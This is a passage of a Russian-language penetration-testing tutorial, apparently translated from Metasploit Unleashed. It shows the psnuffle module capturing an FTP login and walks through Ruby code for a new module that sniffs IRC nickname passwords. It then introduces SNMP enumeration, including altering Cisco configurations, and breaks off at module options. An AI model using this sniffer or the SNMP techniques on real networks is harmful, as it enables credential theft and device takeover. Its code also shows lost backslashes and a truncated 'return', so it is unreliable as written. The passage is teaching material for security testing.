Как вы видите, есть несколько вариантов, включая возможность импорта файлов PCAP. Мы будем запускать сканер в режиме по умолчанию.

msf auxiliary(psnuffle) > run
[*] Auxiliary module running as background job
[*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com 3CDaemon FTP Server Version 2.0)

Мы успешно захватили Логин FTP. Это отличный инструмент для пассивного сбора информации.

Как написать новый модуль psnuffle.

Psnuffle легко расширить за счет своей модульной конструкции. Этот раздел будет описывать процесс разработки модуля снифера под IRC (Internet Relay Chat) с уведомлением сообщением.

Расположение модуля.
Все модули находятся по пути data/exploits/psnuffle. Имена модулей соответствуют названию протокола. Для разработки нашего собственного модуля, взглянем на важные части существующего модуля POP3 в качестве шаблона.

План определений.

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

Этот раздел определяет особенности экспрессии, которая будет использоваться во время снифинга и находить интересные данные. В начале регулярные выражения выглядят очень странно, но сами по себе они очень мощны.

self.sigs = { 
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

IRC секция будет выглядеть как та секция выше. Я знаю, не все nickservers отправляют идентификацию в сообщении паролем. Но как минимум один это делает точно. В нашем примере :)
Секция определения.
Для каждого модуля мы должны сначала определить, какие порты он должен занимать и как сессия должна отслеживаться.

eturn if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667
 
#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server 
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server 
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end
 
case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end

Скачать полный сценарий можно отсюда http://www.offensive-security.com/metasploit-unleashed/UserFiles/File/irc.rb.

SNMP поиск.

SNMP хороший индикатор компрометирующей информации об удаленном устройстве. Если сможете обнаружить устройство Cisco, вы можете скачать файл конфигурации, модифицировать его и закачать обратно модифицированным. В тоже время существует возможность получить пароли уровня 7, устройства, которые достаточно тривиальны для декодирования.
Metasploit поставляется со встроенным вспомогательным модулем поиска SNMP устройств. Есть несколько вещей, которые следует понимать, прежде чем осуществить нашу атаку. Во-первых, какой доступ мы получаем к информации на удаленном устройстве, только читать или читать и писать, это играет важную роль в связи с возможностью модификации. Либо вы «определите» устройство только для чтения или для чтения и записи, во втором случае это уже означает значительный доступ к устройству, но такое случается редко. Кроме того, если устройства на базе Windows настроены с SNMP, через настройки RO/RW можно извлечь информацию о наличии патчей, запущенных сервисах, последней перезагрузки, пользователях системы, маршрутах, а также различные другие объемы информации, что является ценным для злоумышленника.
При запросе к SNMP происходит вызов MIB API. MIB это Management Information Base (MIB), это интерфейс позволяющий опрашивать устройства и получать информацию. В Metasploit по умолчанию уже загружена база MIB. Он использует эту базу для запросов к устройству и получении информации, в зависимости от уровня доступа. Давайте взглянем на вспомогательный модуль.

msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...
 
Exploits
========
 
   Name                                 Description
   ----                                 -----------
   windows/ftp/oracle9i_xdb_ftp_unlock  Oracle 9i XDB FTP UNLOCK Overflow (win32)
 
 
Auxiliary
=========
 
   Name                       Description
   ----                       -----------
   scanner/snmp/aix_version   AIX SNMP Scanner Auxiliary Module
   scanner/snmp/community     SNMP Community Scanner
 
msf auxiliary(wardial) > use scanner/snmp/community
msf auxiliary(community) > show options
 
Module options: